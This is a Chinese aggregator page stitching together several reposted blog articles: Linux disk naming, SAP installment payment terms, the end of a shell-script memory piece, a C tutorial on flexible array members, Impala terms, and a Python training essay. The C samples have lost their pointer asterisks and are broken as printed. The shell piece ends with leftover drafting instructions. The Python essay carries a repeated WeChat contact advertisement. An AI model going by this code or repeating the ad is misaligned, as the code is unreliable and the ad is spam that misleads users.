中,每一个硬件设备都映射到一个系统的文件,对于硬盘、光驱等 IDE 或 SCSI 设备也不例外。 Linux 把各种 IDE 设备分配了一个由 hd 前缀组成的文件;而对于各种 SCSI 设备,则分配了一个由 sd 前缀组成的文件。 例如,第一个 IDE 设备,Linux 就定义为 hda;第二个 IDE 设备就定义为 hdb;下面以此类推。而 SCSI 设备就应该是 sda、sdb、sdc 等。 分区数量 要进行分区就必须针对每一个硬件设备进行操作,这就有可能是一块IDE硬盘或是一块SCSI硬盘。对于每一个硬盘(IDE 或 SCSI)设备,Linux 分配了一个 1 到 16 的序列号码,这就代表了这块硬盘上面的分区号码。 例如,第一个 IDE 硬盘的第一个分区,在 Linux 下面映射的就是 hda1,第二个分区就称作是 hda2。对于 SCSI 硬盘则是 sda1、sdb1 等。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39713578/article/details/111950574。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-26 12:47:34
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2023-09-27 17:37:26
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 在前期的推文《SAP软件付款条件的配置及应用介绍》中详细介绍了付款条件的配置及应用,那篇文章中提到了分期付款,但没有展开详细的介绍说明,今天在此文中补充上。 我们知道付款条件配置好后,在做发票凭证时候可以输入付款条件,但是那个付款条件的字段只能输入一个值(如下图) 那么如果遇到一笔款项要分多期支付,并且每一期对应的付款条件不同,比如公司要支付供应商10000元,但和供应商商定可以分三期支付,一期支付20%,对应的付款条件为Z001,二期支付30%,对应的付款条款为Z002,三期支付剩余50%,对应的付款条件为Z003。 SAP如何处理上面这样的业务场景? SAP软件发票凭证录入界面的付款条件字段只能输入一个付款条件代码,我们可以想象下系统要处理这样的分期付款,那么这个付款条件代码就必须能关联到三个不同的付款条件,即它要包含三个具体的付款条件,SAP软件也就是基于这样逻辑设计的,所以对于分期付款的付款条件可以把它看做是一个付款条件组,它包含了三个具体的付款条款(如下图)。 详细信息直接访问下面链接吧,懒得一点点粘贴了 https://mp.weixin.qq.com/s/WnUEKH5TpoQjsFM66E1Yxg 推荐阅读: 《DEMO:接口以XML为入参》 《DEMO:接口以Json为入参》 《Odata 增删改查详例》 《ODATA CREATE_DEEP_ENTITY 详例》 《RESTful DEMO 一:SAP 如何提供 RESTful Web 服务》 《RESTful DEMO 四 :增删改查及调用》 《十年老码农搬砖习惯和技巧》 《我这个老码农是怎么debug标准程序的》 《我是怎样调试BAPI的,以F-02为例》 《动态批量修改任意表任意字段的值》 《动态获取查询条件的一个小Demo》 《使用cl_gui_docking_container 实现多ALV》 《VOFM 修改 组单开票时 会计凭拆分规则》 《DEMO SUBMIT 某程序并获取该程序ALV数据》 《DEMO:S/4 1809 FAGLL03H 增加字段增强》 《几个ABAP实用模板,体力活就别一行行敲了,复制粘贴得了》 《DEMO:BTE增强实现凭证创建检查》 《SAP Parallel Accounting(平行分类账业务)配置+操作手册+BAPI demo程序》 《CC02修改确认日期BAPI:Processing of change number was canceled》 《我是怎样调试BAPI的,以F-02为例》 《女儿的部分书单》 《推荐几本小说吧,反正过年闲着也是闲着,看看呗》 《我是不是被代码给耽误了……不幸沦为一名程序员……》 《三亚自由行攻略(自己穷游总结)》 《苏州游记》 《杂谈:说走就走的旅行没那么难》 《溜达:无锡》 《记码农十周年(20110214--20210214)》 《不一样的SAP干货铺群:帅哥靓妹、红包、烤羊腿!》 《杂谈:几种接口》 《干货来袭:2020年公众号内容汇总》 《DEMO search help 增强 ( vl03n KO03 等)》 《录BDC时 弹出的公司代码框问题》 《动态获取查询条件的一个小Demo》 《动态批量修改任意表任意字段的值》 WDA Demo WDA DEMO 0:开启服务 设置hosts WDA DEMO 02: 简单介绍 WDA DEMO 03: 根据选择条件查询并显示 WDA DEMO 04: select options 查询并显示 WDA DEMO 05:两个table联动展示数据 WDA DEMO 06: 创建事务代码 WDA DEMO 07 页面跳转及全局变量的使用 WDA DEMO 08 全局变量方式二 WDA DEMO 09 ALV 简单展示 WDA DEMO 1:简单查询并显示结果 WDA DEMO 10 代码模块化整理 WDA DEMO 11 根据BAPI/Function创建WDA Debug 系列 DEBUG 系列一:Dump debug DEBUG 系列二:Configure Debugger Layer DEBUG系列三:使用 F9 和 watch point DEBUG系列四:第三方接口debug DEBUG系列五:Update 模式下的function debug DEBUG系列六:后台JOB debug DEBUG系列七:保存测试参数 DEBUG系列八:Debug弹出框 debug系列九:SM13查看update更新报错 DEBUG系列十:Smartforms debug DEBUG系列十一:GGB1 debug Debug系列十二:QRFC 队列 debug 本篇文章为转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-12 21:25:44
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2023-04-03 21:03:06
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Shell
...有异常增长,应进一步排查原因。 6. 结语 Shell脚本中的“内存泄漏”问题虽不像C/C++这类手动管理内存的语言那么常见,但也值得每一位脚本开发者警惕。只有理解了问题的本质,才能在实践中防微杜渐,写出既高效又稳健的Shell脚本。下次你写脚本的时候,不妨多花点心思琢磨一下,怎么才能更巧妙地管理和释放那些隐藏在代码背后的宝贵资源。毕竟,真正牛掰的程序员不仅要会妙手生花地创造,更要懂得像呵护自家花园一样,精心打理他们所依赖着的每一份“土壤”。 --- 以上只是一个初步的框架和示例,实际撰写时可针对每个部分展开详细讨论,增加更多的代码示例以及实战技巧,以满足不少于1000字的要求。同时呢,咱得保持大白话交流,时不时丢出自己的独特想法和一些引发思考的小问题,这样更能帮助读者更好地get到重点,也能让他们更乐意参与进来,像朋友聊天一样。
2023-01-25 16:29:39
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月影清风
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1 引言 定长数组包 在平时的开发中,缓冲区数据收发时,如果采用缓冲区定长包,假定大小是 1k,MAX_LENGTH 为 1024。结构体如下: // 定长缓冲区struct max_buffer{int len;char data[MAX_LENGTH];}; 数据结构的大小 >= sizeof(int) + sizeof(char) MAX_LENGTH为了防止数据溢出的情况,data 的长度一般会设置得足够大,但也正是因为这样,才会导致数组的冗余。 假如发送 512 字节的数据, 就会浪费 512 个字节的空间, 平时通信时,大多数是心跳包,大小远远小于 1024,除了浪费空间还消耗很多流量。 内存申请: if ((m_buffer = (struct max_buffer )malloc(sizeof(struct max_buffer))) != NULL){m_buffer->len = CUR_LENGTH;memcpy(m_buffer->data, "max_buffer test", CUR_LENGTH);printf("%d, %s\n", m_buffer->len, m_buffer->data);} 内存释放: free(m_buffer);m_buffer = NULL; 指针数据包 为了避免空间上的浪费,我们可以将上面的长度为 MAX_LENGTH 的定长数组换为指针, 每次使用时动态的开辟 CUR_LENGTH 大小的空间。数据包结构体定义: struct point_buffer{int len;char data;}; 数据结构大小 >= sizeof(int) + sizeof(char )但在内存分配时,需要两步进行: 需为结构体分配一块内存空间; 为结构体中的成员变量分配内存空间; 内存申请: if ((p_buffer = (struct point_buffer )malloc(sizeof(struct point_buffer))) != NULL){p_buffer->len = CUR_LENGTH;if ((p_buffer->data = (char )malloc(sizeof(char) CUR_LENGTH)) != NULL){memcpy(p_buffer->data, "point_buffer test", CUR_LENGTH);printf("%d, %s\n", p_buffer->len, p_buffer->data);} } 内存释放: free(p_buffer->data);free(p_buffer);p_buffer = NULL; 虽然这样能够节约内存,但是两次分配的内存是不连续的, 需要分别对其进行管理,导致的问题就是需要对结构体和数据分别申请和释放内存,这样对于程序员来说无疑是一个灾难,因为这样很容易导致遗忘释放内存造成内存泄露。 有没有更好的方法呢?那就是今天的主题柔性数组。 2 柔性数组 什么是柔性数组? 柔性数组成员(flexible array member)也叫伸缩性数组成员,这种代码结构产生于对动态结构体的需求。在日常的编程中,有时候需要在结构体中存放一个长度动态的字符串,鉴于这种代码结构所产生的重要作用,C99 甚至把它收入了标准中: As a special case, the last element of a structure with more than one named member may have an incomplete array type; this is called a flexible array member. 柔性数组是 C99 标准引入的特性,所以当你的编译器提示不支持的语法时,请检查你是否开启了 C99 选项或更高的版本支持。 C99 标准的定义如下: struct test {short len; // 必须至少有一个其它成员char arr[]; // 柔性数组必须是结构体最后一个成员(也可是其它类型,如:int、double、...)}; 柔性数组成员必须定义在结构体里面且为最后元素; 结构体中不能单独只有柔性数组成员; 柔性数组不占内存。 在一个结构体的最后,申明一个长度为空的数组,就可以使得这个结构体是可变长的。对于编译器来说,此时长度为 0 的数组并不占用空间,因为数组名本身不占空间,它只是一个偏移量,数组名这个符号本身代表了一个不可修改的地址常量, 但对于这个数组的大小,我们可以进行动态分配,对于编译器而言,数组名仅仅是一个符号,它不会占用任何空间,它在结构体中,只是代表了一个偏移量,代表一个不可修改的地址常量! 对于柔性数组的这个特点,很容易构造出变成结构体,如缓冲区,数据包等等, 其实柔性数组成员在实现跳跃表时有它特别的用法,在Redis的SDS数据结构中和跳跃表的实现上,也使用柔性数组成员。它的主要用途是为了满足需要变长度的结构体,为了解决使用数组时内存的冗余和数组的越界问题。 柔性数组解决引言的例子 //柔性数组struct soft_buffer{int len;char data[0];}; 数据结构大小 = sizeof(struct soft_buffer) = sizeof(int),这样的变长数组常用于网络通信中构造不定长数据包, 不会浪费空间浪费网络流量。 申请内存: if ((softbuffer = (struct soft_buffer )malloc(sizeof(struct soft_buffer) + sizeof(char) CUR_LENGTH)) != NULL){softbuffer->len = CUR_LENGTH;memcpy(softbuffer->data, "softbuffer test", CUR_LENGTH);printf("%d, %s\n", softbuffer->len, softbuffer->data);} 释放内存: free(softbuffer);softbuffer = NULL; 对比使用指针和柔性数组会发现,使用柔性数组的优点: 由于结构体使用指针地址不连续(两次 malloc),柔性数组地址连续,只需要一次 malloc,同样释放前者需要两次,后者可以一起释放。 在数据拷贝时,结构体使用指针时,必须拷贝它指向的内存,内存不连续会存在问题,柔性数组可以直接拷贝。 减少内存碎片,由于结构体的柔性数组和结构体成员的地址是连续的,即可一同申请内存,因此更大程度地避免了内存碎片。另外由于该成员本身不占结构体空间,因此,整体而言,比普通的数组成员占用空间要会稍微小点。 缺点:对结构体格式有要求,必要放在最后,不是唯一成员。 3 总结 在日常编程中,有时需要在结构体中存放一个长度是动态的字符串(也可能是其他数据类型),可以使用柔性数组,柔性数组是一种能够巧妙地解决数组内存的冗余和数组的越界问题一种方法。非常值得大家学习和借鉴。 推荐阅读: 专辑|Linux文章汇总 专辑|程序人生 专辑|C语言 我的知识小密圈 本篇文章为转载内容。原文链接:https://linus.blog.csdn.net/article/details/112645639。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-21 13:56:11
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Impala
...提供快速、实时的查询服务。它能够在Hadoop集群上运行,利用内存计算、多线程执行和列式存储等技术提高查询性能,并且支持与HDFS及Apache HBase等大数据存储系统集成,实现对结构化数据的高效处理。 列式存储 , 列式存储是相对于行式存储的一种数据存储格式,在这种模式下,数据表中的信息不是按行进行物理存储,而是按照列来组织和存储。在Impala中采用列式存储方式,意味着每种数据类型的所有值都存放在连续的存储区域中,这样在执行只涉及部分列的查询时,只需读取相关的列块即可,从而大大减少了I/O操作,显著提升了查询性能。 分区(Partitioning) , 在数据库管理或大数据分析中,分区是一种将大型表逻辑上划分为较小、更易管理的部分的方法。在Impala中,通过为表设置分区键,可以根据该键的值将数据分布到不同的物理位置。例如,可以按照日期范围对表进行分区,使得查询仅针对特定日期范围的数据变得更为高效,因为Impala只需要扫描相关分区的数据,而不是整个表。
2023-03-25 22:18:41
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凌波微步-t
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 我们不得不承认,python语言的迅速火爆,学习python的人越来越多,领域的就业竞争也越来越激烈。 我们都知道市面上有很多的python学习培训班,无论是线上的还是线下的,因为现在的社会发展速度非常快,加之今年疫情的影响,今年的就业形势非常严峻。在这样的情况下,很多人也就加入到了python的学习队伍中,同时也出现了许多培训机构。 但都说python的入门简单的,那我们还有必要去参加培训么?是不是自学就可以了呢? 针对个人而言,参加培训还是自学,我们可以从这几个方面去考虑。 一、时间是否充裕 要先衡量一下我们每天可以投入学习的时间,是2个小时还是6个小时。比如作为职场在职人士,你有正式的工作要忙,没有太多的时间去自学。再比如你是个全职宝妈想要自学,那一定不比在校学生或者单身没有家庭负担的人时间充裕。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~ 二、自己是否有自制力 当我们有了充分的学习时间,我们还需要衡量一下,自己是否有自制力,没有良好的学习环境,我们也只能三天打鱼两天晒网,自学并不会有太好的成效。 三、是否可以制定系统的学习计划 自学时,我们通常会进行一些书籍的购买和线上免费的课程。免费的课程一般也只有体验课程,不会系统全面地进行讲解。而只是看书,那些晦涩难懂的语言,无人解释,看起来估计和天书差不多了。 四、自学了如何进行实践 python是一个需要学习一项技能后,马上就进行操作的语言,只有亲自的实践才能更快的学习精华。实践的课题我们应该从哪些地方找呢? 如果以上都会成为你学习中的难点,那么我劝你最好还是去报个培训班来学习Python了。 幸运的是,我们身处信息时代,许多在线教育平台推出了由专业教师主讲的Python入门课程,注重实操,提升编程能力,自己动手就能写程序。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~ 写在最后,其实经过分析我们每个人心中也都有了答案,自学还是培训,首先需要确定自己的学习目标,是为了就业还是只是兴趣,时间是否充足。如果是想就业找工作,完全可以参加培训,培训最大的好处就是节省时间。节省时间最大的好处就是拥有比同龄人更多的竞争力,获得更多的机会。 自学的好处就是省钱,短期是节省了,损失了时间和机会。自学和培训对比,相同的起点和终点,同样能力的人付出的时间肯定不同。 如果是你,你会怎么选呢? 本篇文章为转载内容。原文链接:https://blog.csdn.net/kj7762/article/details/119864246。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-01 23:27:10
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